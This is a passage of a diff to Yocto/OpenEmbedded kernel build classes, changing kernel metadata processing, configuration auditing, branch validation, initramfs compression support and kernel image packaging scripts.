- if [ $? -ne 0 ]; then
+ if [ -z "$sccs_defconfig" ]; then
bbfatal_log "Could not locate BSP definition for ${KMACHINE}/${LINUX_KERNEL_TYPE} and no defconfig was provided"
fi
+ else
+ # if the bsp definition has "define KMETA_EXTERNAL_BSP t",
+ # then we need to set a flag that will instruct the next
+ # steps to use the BSP as both configuration and patches.
+ grep -q KMETA_EXTERNAL_BSP $bsp_definition
+ if [ $? -eq 0 ]; then
+ KMETA_EXTERNAL_BSPS="t"
+ fi
fi
meta_dir=$(kgit --meta)
- # run1: pull all the configuration fragments, no matter where they come from
- elements="`echo -n ${bsp_definition} ${sccs} ${patches} ${KERNEL_FEATURES}`"
- if [ -n "${elements}" ]; then
- echo "${bsp_definition}" > ${S}/${meta_dir}/bsp_definition
- scc --force -o ${S}/${meta_dir}:cfg,merge,meta ${includes} ${bsp_definition} ${sccs} ${patches} ${KERNEL_FEATURES}
- if [ $? -ne 0 ]; then
- bbfatal_log "Could not generate configuration queue for ${KMACHINE}."
+ KERNEL_FEATURES_FINAL=""
+ if [ -n "${KERNEL_FEATURES}" ]; then
+ for feature in ${KERNEL_FEATURES}; do
+ feature_found=f
+ for d in $includes; do
+ path_to_check=$(echo $d | sed 's/^-I//')
+ if [ "$feature_found" = "f" ] && [ -e "$path_to_check/$feature" ]; then
+ feature_found=t
+ fi
+ done
+ if [ "$feature_found" = "f" ]; then
+ if [ -n "${KERNEL_DANGLING_FEATURES_WARN_ONLY}" ]; then
+ bbwarn "Feature '$feature' not found, but KERNEL_DANGLING_FEATURES_WARN_ONLY is set"
+ bbwarn "This may cause runtime issues, dropping feature and allowing configuration to continue"
+ else
+ bberror "Feature '$feature' not found, this will cause configuration failures."
+ bberror "Check the SRC_URI for meta-data repositories or directories that may be missing"
+ bbfatal_log "Set KERNEL_DANGLING_FEATURES_WARN_ONLY to ignore this issue"
+ fi
+ else
+ KERNEL_FEATURES_FINAL="$KERNEL_FEATURES_FINAL $feature"
+ fi
+ done
+ fi
+
+ if [ "$mode" = "config" ]; then
+ # run1: pull all the configuration fragments, no matter where they come from
+ elements="`echo -n ${bsp_definition} $sccs_defconfig ${sccs} ${patches} $KERNEL_FEATURES_FINAL`"
+ if [ -n "${elements}" ]; then
+ echo "${bsp_definition}" > ${S}/${meta_dir}/bsp_definition
+ scc --force -o ${S}/${meta_dir}:cfg,merge,meta ${includes} $sccs_defconfig $bsp_definition $sccs $patches $KERNEL_FEATURES_FINAL
+ if [ $? -ne 0 ]; then
+ bbfatal_log "Could not generate configuration queue for ${KMACHINE}."
+ fi
fi
fi
- # run2: only generate patches for elements that have been passed on the SRC_URI
- elements="`echo -n ${sccs} ${patches} ${KERNEL_FEATURES}`"
- if [ -n "${elements}" ]; then
- scc --force -o ${S}/${meta_dir}:patch --cmds patch ${includes} ${sccs} ${patches} ${KERNEL_FEATURES}
- if [ $? -ne 0 ]; then
- bbfatal_log "Could not generate configuration queue for ${KMACHINE}."
+ # if KMETA_EXTERNAL_BSPS has been set, or it has been detected from
+ # the bsp definition, then we inject the bsp_definition into the
+ # patch phase below. we'll piggy back on the sccs variable.
+ if [ -n "${KMETA_EXTERNAL_BSPS}" ]; then
+ sccs="${bsp_definition} ${sccs}"
+ fi
+
+ if [ "$mode" = "patch" ]; then
+ # run2: only generate patches for elements that have been passed on the SRC_URI
+ elements="`echo -n ${sccs} ${patches} $KERNEL_FEATURES_FINAL`"
+ if [ -n "${elements}" ]; then
+ scc --force -o ${S}/${meta_dir}:patch --cmds patch ${includes} ${sccs} ${patches} $KERNEL_FEATURES_FINAL
+ if [ $? -ne 0 ]; then
+ bbfatal_log "Could not generate configuration queue for ${KMACHINE}."
+ fi
fi
fi
+
+ if [ ${KCONF_AUDIT_LEVEL} -gt 0 ]; then
+ bbnote "kernel meta data summary for ${KMACHINE} (${LINUX_KERNEL_TYPE}):"
+ bbnote "======================================================================"
+ if [ -n "${KMETA_EXTERNAL_BSPS}" ]; then
+ bbnote "Non kernel-cache (external) bsp"
+ fi
+ bbnote "BSP entry point / definition: $bsp_definition"
+ if [ -n "$in_tree_defconfig" ]; then
+ bbnote "KBUILD_DEFCONFIG: ${KBUILD_DEFCONFIG}"
+ fi
+ bbnote "Fragments from SRC_URI: $sccs_from_src_uri"
+ bbnote "KERNEL_FEATURES: $KERNEL_FEATURES_FINAL"
+ bbnote "Final scc/cfg list: $sccs_defconfig $bsp_definition $sccs $KERNEL_FEATURES_FINAL"
+ fi
}
do_patch() {
@@ -254,6 +361,21 @@ do_kernel_checkout() {
fi
fi
cd ${S}
+
+ # convert any remote branches to local tracking ones
+ for i in `git branch -a --no-color | grep remotes | grep -v HEAD`; do
+ b=`echo $i | cut -d' ' -f2 | sed 's%remotes/origin/%%'`;
+ git show-ref --quiet --verify -- "refs/heads/$b"
+ if [ $? -ne 0 ]; then
+ git branch $b $i > /dev/null
+ fi
+ done
+
+ # Create a working tree copy of the kernel by checking out a branch
+ machine_branch="${@ get_machine_branch(d, "${KBRANCH}" )}"
+
+ # checkout and clobber any unimportant files
+ git checkout -f ${machine_branch}
else
# case: we have no git repository at all.
# To support low bandwidth options for building the kernel, we'll just
@@ -275,35 +397,22 @@ do_kernel_checkout() {
git commit -q -m "baseline commit: creating repo for ${PN}-${PV}"
git clean -d -f
fi
-
- # convert any remote branches to local tracking ones
- for i in `git branch -a --no-color | grep remotes | grep -v HEAD`; do
- b=`echo $i | cut -d' ' -f2 | sed 's%remotes/origin/%%'`;
- git show-ref --quiet --verify -- "refs/heads/$b"
- if [ $? -ne 0 ]; then
- git branch $b $i > /dev/null
- fi
- done
-
- # Create a working tree copy of the kernel by checking out a branch
- machine_branch="${@ get_machine_branch(d, "${KBRANCH}" )}"
-
- # checkout and clobber any unimportant files
- git checkout -f ${machine_branch}
}
-do_kernel_checkout[dirs] = "${S}"
+do_kernel_checkout[dirs] = "${S} ${WORKDIR}"
-addtask kernel_checkout before do_kernel_metadata after do_unpack
+addtask kernel_checkout before do_kernel_metadata after do_symlink_kernsrc
addtask kernel_metadata after do_validate_branches do_unpack before do_patch
do_kernel_metadata[depends] = "kern-tools-native:do_populate_sysroot"
+do_kernel_metadata[file-checksums] = " ${@get_dirs_with_fragments(d)}"
do_validate_branches[depends] = "kern-tools-native:do_populate_sysroot"
do_kernel_configme[depends] += "virtual/${TARGET_PREFIX}binutils:do_populate_sysroot"
do_kernel_configme[depends] += "virtual/${TARGET_PREFIX}gcc:do_populate_sysroot"
do_kernel_configme[depends] += "bc-native:do_populate_sysroot bison-native:do_populate_sysroot"
+do_kernel_configme[depends] += "kern-tools-native:do_populate_sysroot"
do_kernel_configme[dirs] += "${S} ${B}"
do_kernel_configme() {
- set +e
+ do_kernel_metadata config
# translate the kconfig_mode into something that merge_config.sh
# understands
@@ -314,11 +423,11 @@ do_kernel_configme() {
*alldefconfig)
config_flags=""
;;
- *)
- if [ -f ${WORKDIR}/defconfig ]; then
- config_flags="-n"
- fi
- ;;
+ *)
+ if [ -f ${WORKDIR}/defconfig ]; then
+ config_flags="-n"
+ fi
+ ;;
esac
cd ${S}
@@ -330,16 +439,84 @@ do_kernel_configme() {
bbfatal_log "Could not find configuration queue (${meta_dir}/config.queue)"
fi
- CFLAGS="${CFLAGS} ${TOOLCHAIN_OPTIONS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}" CC="${KERNEL_CC}" ARCH=${ARCH} merge_config.sh -O ${B} ${config_flags} ${configs} > ${meta_dir}/cfg/merge_config_build.log 2>&1
- if [ $? -ne 0 ]; then
- bbfatal_log "Could not configure ${KMACHINE}-${LINUX_KERNEL_TYPE}"
+ CFLAGS="${CFLAGS} ${TOOLCHAIN_OPTIONS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}" CC="${KERNEL_CC}" LD="${KERNEL_LD}" ARCH=${ARCH} merge_config.sh -O ${B} ${config_flags} ${configs} > ${meta_dir}/cfg/merge_config_build.log 2>&1
+ if [ $? -ne 0 -o ! -f ${B}/.config ]; then
+ bberror "Could not generate a .config for ${KMACHINE}-${LINUX_KERNEL_TYPE}"
+ if [ ${KCONF_AUDIT_LEVEL} -gt 1 ]; then
+ bbfatal_log "`cat ${meta_dir}/cfg/merge_config_build.log`"
+ else
+ bbfatal_log "Details can be found at: ${S}/${meta_dir}/cfg/merge_config_build.log"
+ fi
fi
- echo "# Global settings from linux recipe" >> ${B}/.config
- echo "CONFIG_LOCALVERSION="\"${LINUX_VERSION_EXTENSION}\" >> ${B}/.config
+ if [ ! -z "${LINUX_VERSION_EXTENSION}" ]; then
+ echo "# Global settings from linux recipe" >> ${B}/.config
+ echo "CONFIG_LOCALVERSION="\"${LINUX_VERSION_EXTENSION}\" >> ${B}/.config
+ fi
}
addtask kernel_configme before do_configure after do_patch
+addtask config_analysis
+
+do_config_analysis[depends] = "virtual/kernel:do_configure"
+do_config_analysis[depends] += "kern-tools-native:do_populate_sysroot"
+
+CONFIG_AUDIT_FILE ?= "${WORKDIR}/config-audit.txt"
+CONFIG_ANALYSIS_FILE ?= "${WORKDIR}/config-analysis.txt"
+
+python do_config_analysis() {
+ import re, string, sys, subprocess
+
+ s = d.getVar('S')
+
+ env = os.environ.copy()
+ env['PATH'] = "%s:%s%s" % (d.getVar('PATH'), s, "/scripts/util/")
+ env['LD'] = d.getVar('KERNEL_LD')
+ env['CC'] = d.getVar('KERNEL_CC')
+ env['ARCH'] = d.getVar('ARCH')
+ env['srctree'] = s
+
+ # read specific symbols from the kernel recipe or from local.conf
+ # i.e.: CONFIG_ANALYSIS:pn-linux-yocto-dev = 'NF_CONNTRACK LOCALVERSION'
+ config = d.getVar( 'CONFIG_ANALYSIS' )
+ if not config:
+ config = [ "" ]
+ else:
+ config = config.split()
+
+ for c in config:
+ for action in ["analysis","audit"]:
+ if action == "analysis":
+ try:
+ analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--blame', c], cwd=s, env=env ).decode('utf-8')
+ except subprocess.CalledProcessError as e:
+ bb.fatal( "config analysis failed: %s" % e.output.decode('utf-8'))
+
+ outfile = d.getVar( 'CONFIG_ANALYSIS_FILE' )
+
+ if action == "audit":
+ try:
+ analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--summary', '--extended', '--sanity', c], cwd=s, env=env ).decode('utf-8')
+ except subprocess.CalledProcessError as e:
+ bb.fatal( "config analysis failed: %s" % e.output.decode('utf-8'))
+
+ outfile = d.getVar( 'CONFIG_AUDIT_FILE' )
+
+ if c:
+ outdir = os.path.dirname( outfile )
+ outname = os.path.basename( outfile )
+ outfile = outdir + '/'+ c + '-' + outname
+
+ if config and os.path.isfile(outfile):
+ os.remove(outfile)
+
+ with open(outfile, 'w+') as f:
+ f.write( analysis )
+
+ bb.warn( "Configuration {} executed, see: {} for details".format(action,outfile ))
+ if c:
+ bb.warn( analysis )
+}
python do_kernel_configcheck() {
import re, string, sys, subprocess
@@ -349,58 +526,99 @@ python do_kernel_configcheck() {
# meta-series for processing
kmeta = d.getVar("KMETA") or "meta"
if not os.path.exists(kmeta):
- kmeta = "." + kmeta
+ kmeta = subprocess.check_output(['kgit', '--meta'], cwd=d.getVar('S')).decode('utf-8').rstrip()
s = d.getVar('S')
env = os.environ.copy()
env['PATH'] = "%s:%s%s" % (d.getVar('PATH'), s, "/scripts/util/")
+ env['LD'] = d.getVar('KERNEL_LD')
+ env['CC'] = d.getVar('KERNEL_CC')
+ env['ARCH'] = d.getVar('ARCH')
+ env['srctree'] = s
try:
configs = subprocess.check_output(['scc', '--configs', '-o', s + '/.kernel-meta'], env=env).decode('utf-8')
except subprocess.CalledProcessError as e:
bb.fatal( "Cannot gather config fragments for audit: %s" % e.output.decode("utf-8") )
- try:
- subprocess.check_call(['kconf_check', '--report', '-o',
- '%s/%s/cfg' % (s, kmeta), d.getVar('B') + '/.config', s, configs], cwd=s, env=env)
- except subprocess.CalledProcessError:
- # The configuration gathering can return different exit codes, but
- # we interpret them based on the KCONF_AUDIT_LEVEL variable, so we catch
- # everything here, and let the run continue.
- pass
-
config_check_visibility = int(d.getVar("KCONF_AUDIT_LEVEL") or 0)
bsp_check_visibility = int(d.getVar("KCONF_BSP_AUDIT_LEVEL") or 0)
+ kmeta_audit_werror = d.getVar("KMETA_AUDIT_WERROR") or ""
+ warnings_detected = False
+
+ # if config check visibility is "1", that's the lowest level of audit. So
+ # we add the --classify option to the run, since classification will
+ # streamline the output to only report options that could be boot issues,
+ # or are otherwise required for proper operation.
+ extra_params = ""
+ if config_check_visibility == 1:
+ extra_params = "--classify"
+
+ # category #1: mismatches
+ try:
+ analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--mismatches', extra_params], cwd=s, env=env ).decode('utf-8')
+ except subprocess.CalledProcessError as e:
+ bb.fatal( "config analysis failed: %s" % e.output.decode('utf-8'))
+
+ if analysis:
+ outfile = "{}/{}/cfg/mismatch.txt".format( s, kmeta )
+ if os.path.isfile(outfile):
+ os.remove(outfile)
+ with open(outfile, 'w+') as f:
+ f.write( analysis )
- # if config check visibility is non-zero, report dropped configuration values
- mismatch_file = d.expand("${S}/%s/cfg/mismatch.txt" % kmeta)
- if os.path.exists(mismatch_file):
- if config_check_visibility:
- with open (mismatch_file, "r") as myfile:
+ if config_check_visibility and os.stat(outfile).st_size > 0:
+ with open (outfile, "r") as myfile:
results = myfile.read()
bb.warn( "[kernel config]: specified values did not make it into the kernel's final configuration:\n\n%s" % results)
+ warnings_detected = True
+
+ # category #2: invalid fragment elements
+ extra_params = ""
+ if bsp_check_visibility > 1:
+ extra_params = "--strict"
+ try:
+ analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--invalid', extra_params], cwd=s, env=env ).decode('utf-8')
+ except subprocess.CalledProcessError as e:
+ bb.fatal( "config analysis failed: %s" % e.output.decode('utf-8'))
- if bsp_check_visibility:
- invalid_file = d.expand("${S}/%s/cfg/invalid.cfg" % kmeta)
- if os.path.exists(invalid_file) and os.stat(invalid_file).st_size > 0:
- with open (invalid_file, "r") as myfile:
+ if analysis:
+ outfile = "{}/{}/cfg/invalid.txt".format(s,kmeta)
+ if os.path.isfile(outfile):
+ os.remove(outfile)
+ with open(outfile, 'w+') as f:
+ f.write( analysis )
+
+ if bsp_check_visibility and os.stat(outfile).st_size > 0:
+ with open (outfile, "r") as myfile:
results = myfile.read()
- bb.warn( "[kernel config]: This BSP sets config options that are not offered anywhere within this kernel:\n\n%s" % results)
- errors_file = d.expand("${S}/%s/cfg/fragment_errors.txt" % kmeta)
- if os.path.exists(errors_file) and os.stat(errors_file).st_size > 0:
- with open (errors_file, "r") as myfile:
- results = myfile.read()
- bb.warn( "[kernel config]: This BSP contains fragments with errors:\n\n%s" % results)
-
- # if the audit level is greater than two, we report if a fragment has overriden
- # a value from a base fragment. This is really only used for new kernel introduction
- if bsp_check_visibility > 2:
- redefinition_file = d.expand("${S}/%s/cfg/redefinition.txt" % kmeta)
- if os.path.exists(redefinition_file) and os.stat(redefinition_file).st_size > 0:
- with open (redefinition_file, "r") as myfile:
+ bb.warn( "[kernel config]: This BSP contains fragments with warnings:\n\n%s" % results)
+ warnings_detected = True
+
+ # category #3: redefined options (this is pretty verbose and is debug only)
+ try:
+ analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--sanity'], cwd=s, env=env ).decode('utf-8')
+ except subprocess.CalledProcessError as e:
+ bb.fatal( "config analysis failed: %s" % e.output.decode('utf-8'))
+
+ if analysis:
+ outfile = "{}/{}/cfg/redefinition.txt".format(s,kmeta)
+ if os.path.isfile(outfile):
+ os.remove(outfile)
+ with open(outfile, 'w+') as f:
+ f.write( analysis )
+
+ # if the audit level is greater than two, we report if a fragment has overriden
+ # a value from a base fragment. This is really only used for new kernel introduction
+ if bsp_check_visibility > 2 and os.stat(outfile).st_size > 0:
+ with open (outfile, "r") as myfile:
results = myfile.read()
bb.warn( "[kernel config]: This BSP has configuration options defined in more than one config, with differing values:\n\n%s" % results)
+ warnings_detected = True
+
+ if warnings_detected and kmeta_audit_werror:
+ bb.fatal( "configuration warnings detected, werror is set, promoting to fatal" )
}
# Ensure that the branches (BSP and meta) are on the locations specified by
@@ -416,7 +634,31 @@ do_validate_branches() {
# if SRCREV is AUTOREV it shows up as AUTOINC there's nothing to
# check and we can exit early
if [ "${machine_srcrev}" = "AUTOINC" ]; then
+ linux_yocto_dev='${@oe.utils.conditional("PREFERRED_PROVIDER_virtual/kernel", "linux-yocto-dev", "1", "", d)}'
+ if [ -n "$linux_yocto_dev" ]; then
+ git checkout -q -f ${machine_branch}
+ ver=$(grep "^VERSION =" ${S}/Makefile | sed s/.*=\ *//)
+ patchlevel=$(grep "^PATCHLEVEL =" ${S}/Makefile | sed s/.*=\ *//)
+ sublevel=$(grep "^SUBLEVEL =" ${S}/Makefile | sed s/.*=\ *//)
+ kver="$ver.$patchlevel"
+ bbnote "dev kernel: performing version -> branch -> SRCREV validation"
+ bbnote "dev kernel: recipe version ${LINUX_VERSION}, src version: $kver"
+ echo "${LINUX_VERSION}" | grep -q $kver
+ if [ $? -ne 0 ]; then
+ version="$(echo ${LINUX_VERSION} | sed 's/\+.*$//g')"
+ versioned_branch="v$version/$machine_branch"
+
+ machine_branch=$versioned_branch
+ force_srcrev="$(git rev-parse $machine_branch 2> /dev/null)"
+ if [ $? -ne 0 ]; then
+ bbfatal "kernel version mismatch detected, and no valid branch $machine_branch detected"
+ fi
+
+ bbnote "dev kernel: adjusting branch to $machine_branch, srcrev to: $force_srcrev"
+ fi
+ else
bbnote "SRCREV validation is not required for AUTOREV"
+ fi
elif [ "${machine_srcrev}" = "" ]; then
if [ "${SRCREV}" != "AUTOINC" ] && [ "${SRCREV}" != "INVALID" ]; then
# SRCREV_machine_<MACHINE> was not set. This means that a custom recipe
@@ -458,4 +700,15 @@ python () {
# If diffconfig is available, ensure it runs after kernel_configme
if 'do_diffconfig' in d:
bb.build.addtask('do_diffconfig', None, 'do_kernel_configme', d)
+
+ externalsrc = d.getVar('EXTERNALSRC')
+ if externalsrc:
+ # If we deltask do_patch, do_kernel_configme is left without
+ # dependencies and runs too early
+ d.setVarFlag('do_kernel_configme', 'deps', (d.getVarFlag('do_kernel_configme', 'deps', False) or []) + ['do_unpack'])
}
+
+# extra tasks
+addtask kernel_version_sanity_check after do_kernel_metadata do_kernel_checkout before do_compile
+addtask validate_branches before do_patch after do_kernel_checkout
+addtask kernel_configcheck after do_configure before do_compile
diff --git a/meta/classes/kernel.bbclass b/meta/classes/kernel.bbclass
index ebcb79a528..4f304eb9c7 100644
--- a/meta/classes/kernel.bbclass
+++ b/meta/classes/kernel.bbclass
@@ -1,13 +1,18 @@
inherit linux-kernel-base kernel-module-split
+COMPATIBLE_HOST = ".*-linux"
+
KERNEL_PACKAGE_NAME ??= "kernel"
KERNEL_DEPLOYSUBDIR ??= "${@ "" if (d.getVar("KERNEL_PACKAGE_NAME") == "kernel") else d.getVar("KERNEL_PACKAGE_NAME") }"
-PROVIDES += "${@ "virtual/kernel" if (d.getVar("KERNEL_PACKAGE_NAME") == "kernel") else "" }"
-DEPENDS += "virtual/${TARGET_PREFIX}binutils virtual/${TARGET_PREFIX}gcc kmod-native bc-native lzop-native bison-native"
+PROVIDES += "virtual/kernel"
+DEPENDS += "virtual/${TARGET_PREFIX}binutils virtual/${TARGET_PREFIX}gcc kmod-native bc-native bison-native"
+DEPENDS += "${@bb.utils.contains("INITRAMFS_FSTYPES", "cpio.lzo", "lzop-native", "", d)}"
+DEPENDS += "${@bb.utils.contains("INITRAMFS_FSTYPES", "cpio.lz4", "lz4-native", "", d)}"
+DEPENDS += "${@bb.utils.contains("INITRAMFS_FSTYPES", "cpio.zst", "zstd-native", "", d)}"
PACKAGE_WRITE_DEPS += "depmodwrapper-cross"
-do_deploy[depends] += "depmodwrapper-cross:do_populate_sysroot"
+do_deploy[depends] += "depmodwrapper-cross:do_populate_sysroot gzip-native:do_populate_sysroot"
do_clean[depends] += "make-mod-scripts:do_clean"
CVE_PRODUCT ?= "linux_kernel"
@@ -25,6 +30,8 @@ INITRAMFS_IMAGE ?= ""
INITRAMFS_IMAGE_NAME ?= "${@['${INITRAMFS_IMAGE}-${MACHINE}', ''][d.getVar('INITRAMFS_IMAGE') == '']}"
INITRAMFS_TASK ?= ""
INITRAMFS_IMAGE_BUNDLE ?= ""
+INITRAMFS_DEPLOY_DIR_IMAGE ?= "${DEPLOY_DIR_IMAGE}"
+INITRAMFS_MULTICONFIG ?= ""
# KERNEL_VERSION is extracted from source code. It is evaluated as
# None for the first parsing, since the code has not been fetched.
@@ -42,7 +49,7 @@ python __anonymous () {
kpn = d.getVar("KERNEL_PACKAGE_NAME")
# XXX Remove this after bug 11905 is resolved
- # FILES_${KERNEL_PACKAGE_NAME}-dev doesn't expand correctly
+ # FILES:${KERNEL_PACKAGE_NAME}-dev doesn't expand correctly
if kpn == pn:
bb.warn("Some packages (E.g. *-dev) might be missing due to "
"bug 11905 (variable KERNEL_PACKAGE_NAME == PN)")
@@ -72,7 +79,7 @@ python __anonymous () {
# KERNEL_IMAGETYPES may contain a mixture of image types supported directly
# by the kernel build system and types which are created by post-processing
# the output of the kernel build system (e.g. compressing vmlinux ->
- # vmlinux.gz in kernel_do_compile()).
+ # vmlinux.gz in kernel_do_transform_kernel()).
# KERNEL_IMAGETYPE_FOR_MAKE should contain only image types supported
# directly by the kernel build system.
if not d.getVar('KERNEL_IMAGETYPE_FOR_MAKE'):
@@ -88,19 +95,52 @@ python __anonymous () {
imagedest = d.getVar('KERNEL_IMAGEDEST')
for type in types.split():
+ if bb.data.inherits_class('nopackages', d):
+ continue
typelower = type.lower()
d.appendVar('PACKAGES', ' %s-image-%s' % (kname, typelower))
- d.setVar('FILES_' + kname + '-image-' + typelower, '/' + imagedest + '/' + type + '-${KERNEL_VERSION_NAME}' + ' /' + imagedest + '/' + type)
- d.appendVar('RDEPENDS_%s-image' % kname, ' %s-image-%s' % (kname, typelower))
- d.setVar('PKG_%s-image-%s' % (kname,typelower), '%s-image-%s-${KERNEL_VERSION_PKG_NAME}' % (kname, typelower))
- d.setVar('ALLOW_EMPTY_%s-image-%s' % (kname, typelower), '1')
+ d.setVar('FILES:' + kname + '-image-' + typelower, '/' + imagedest + '/' + type + '-${KERNEL_VERSION_NAME}' + ' /' + imagedest + '/' + type)
+ d.appendVar('RDEPENDS:%s-image' % kname, ' %s-image-%s (= ${EXTENDPKGV})' % (kname, typelower))
+ splitmods = d.getVar("KERNEL_SPLIT_MODULES")
+ if splitmods != '1':
+ d.appendVar('RDEPENDS:%s-image' % kname, ' %s-modules (= ${EXTENDPKGV})' % kname)
+ d.appendVar('RDEPENDS:%s-image-%s' % (kname, typelower), ' %s-modules-${KERNEL_VERSION_PKG_NAME} (= ${EXTENDPKGV})' % kname)
+ d.setVar('PKG:%s-modules' % kname, '%s-modules-${KERNEL_VERSION_PKG_NAME}' % kname)
+ d.appendVar('RPROVIDES:%s-modules' % kname, '%s-modules-${KERNEL_VERSION_PKG_NAME}' % kname)
+
+ d.setVar('PKG:%s-image-%s' % (kname,typelower), '%s-image-%s-${KERNEL_VERSION_PKG_NAME}' % (kname, typelower))
+ d.setVar('ALLOW_EMPTY:%s-image-%s' % (kname, typelower), '1')
+ d.setVar('pkg_postinst:%s-image-%s' % (kname,typelower), """set +e
+if [ -n "$D" ]; then
+ ln -sf %s-${KERNEL_VERSION} $D/${KERNEL_IMAGEDEST}/%s > /dev/null 2>&1
+else
+ ln -sf %s-${KERNEL_VERSION} ${KERNEL_IMAGEDEST}/%s > /dev/null 2>&1
+ if [ $? -ne 0 ]; then
+ echo "Filesystem on ${KERNEL_IMAGEDEST}/ doesn't support symlinks, falling back to copied image (%s)."
+ install -m 0644 ${KERNEL_IMAGEDEST}/%s-${KERNEL_VERSION} ${KERNEL_IMAGEDEST}/%s
+ fi
+fi
+set -e
+""" % (type, type, type, type, type, type, type))
+ d.setVar('pkg_postrm:%s-image-%s' % (kname,typelower), """set +e
+if [ -f "${KERNEL_IMAGEDEST}/%s" -o -L "${KERNEL_IMAGEDEST}/%s" ]; then
+ rm -f ${KERNEL_IMAGEDEST}/%s > /dev/null 2>&1
+fi
+set -e
+""" % (type, type, type))
+
image = d.getVar('INITRAMFS_IMAGE')
# If the INTIRAMFS_IMAGE is set but the INITRAMFS_IMAGE_BUNDLE is set to 0,
# the do_bundle_initramfs does nothing, but the INITRAMFS_IMAGE is built
# standalone for use by wic and other tools.
if image:
- d.appendVarFlag('do_bundle_initramfs', 'depends', ' ${INITRAMFS_IMAGE}:do_image_complete')
+ if d.getVar('INITRAMFS_MULTICONFIG'):
+ d.appendVarFlag('do_bundle_initramfs', 'mcdepends', ' mc::${INITRAMFS_MULTICONFIG}:${INITRAMFS_IMAGE}:do_image_complete')
+ else:
+ d.appendVarFlag('do_bundle_initramfs', 'depends', ' ${INITRAMFS_IMAGE}:do_image_complete')
+ if image and bb.utils.to_boolean(d.getVar('INITRAMFS_IMAGE_BUNDLE')):
+ bb.build.addtask('do_transform_bundled_initramfs', 'do_deploy', 'do_bundle_initramfs', d)
# NOTE: setting INITRAMFS_TASK is for backward compatibility
# The preferred method is to set INITRAMFS_IMAGE, because
@@ -151,7 +191,10 @@ python do_symlink_kernsrc () {
shutil.move(s, kernsrc)
os.symlink(kernsrc, s)
}
-addtask symlink_kernsrc before do_configure after do_unpack
+# do_patch is normally ordered before do_configure, but
+# externalsrc.bbclass deletes do_patch, breaking the dependency of
+# do_configure on do_symlink_kernsrc.
+addtask symlink_kernsrc before do_patch do_configure after do_unpack
inherit kernel-arch deploy
@@ -190,7 +233,9 @@ UBOOT_LOADADDRESS ?= "${UBOOT_ENTRYPOINT}"
# Some Linux kernel configurations need additional parameters on the command line
KERNEL_EXTRA_ARGS ?= ""
-EXTRA_OEMAKE = " HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}""
+EXTRA_OEMAKE = " HOSTCC="${BUILD_CC}" HOSTCFLAGS="${BUILD_CFLAGS}" HOSTLDFLAGS="${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}""
+EXTRA_OEMAKE += " HOSTCXX="${BUILD_CXX}" HOSTCXXFLAGS="${BUILD_CXXFLAGS}""
+
KERNEL_ALT_IMAGETYPE ??= ""
copy_initramfs() {
@@ -199,9 +244,9 @@ copy_initramfs() {
mkdir -p ${B}/usr
# Find and use the first initramfs image archive type we find
rm -f ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
- for img in cpio cpio.gz cpio.lz4 cpio.lzo cpio.lzma cpio.xz; do
- if [ -e "${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img" ]; then
- cp ${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img ${B}/usr/.
+ for img in cpio cpio.gz cpio.lz4 cpio.lzo cpio.lzma cpio.xz cpio.zst; do
+ if [ -e "${INITRAMFS_DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img" ]; then
+ cp ${INITRAMFS_DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img ${B}/usr/.
case $img in
*gz)
echo "gzip decompressing image"
@@ -210,7 +255,7 @@ copy_initramfs() {
;;
*lz4)
echo "lz4 decompressing image"
- lz4 -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
+ lz4 -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
break
;;
*lzo)
@@ -228,12 +273,17 @@ copy_initramfs() {
xz -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
break
;;
+ *zst)
+ echo "zst decompressing image"
+ zstd -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
+ break
+ ;;
esac
break
fi
done
# Verify that the above loop found a initramfs, fail otherwise
- [ -f ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio ] && echo "Finished copy of initramfs into ./usr" || die "Could not find any ${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.cpio{.gz|.lz4|.lzo|.lzma|.xz) for bundling; INITRAMFS_IMAGE_NAME might be wrong."
+ [ -f ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio ] && echo "Finished copy of initramfs into ./usr" || die "Could not find any ${INITRAMFS_DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.cpio{.gz|.lz4|.lzo|.lzma|.xz|.zst) for bundling; INITRAMFS_IMAGE_NAME might be wrong."
}
do_bundle_initramfs () {
@@ -273,35 +323,39 @@ do_bundle_initramfs () {
}
do_bundle_initramfs[dirs] = "${B}"
-python do_devshell_prepend () {
+kernel_do_transform_bundled_initramfs() {
+ # vmlinux.gz is not built by kernel
+ if (echo "${KERNEL_IMAGETYPES}" | grep -wq "vmlinux\.gz"); then
+ gzip -9cn < ${KERNEL_OUTPUT_DIR}/vmlinux.initramfs > ${KERNEL_OUTPUT_DIR}/vmlinux.gz.initramfs
+ fi
+}
+do_transform_bundled_initramfs[dirs] = "${B}"
+
+python do_devshell:prepend () {
os.environ["LDFLAGS"] = ''
}
addtask bundle_initramfs after do_install before do_deploy
-get_cc_option () {
- # Check if KERNEL_CC supports the option "file-prefix-map".
- # This option allows us to build images with __FILE__ values that do not
- # contain the host build path.
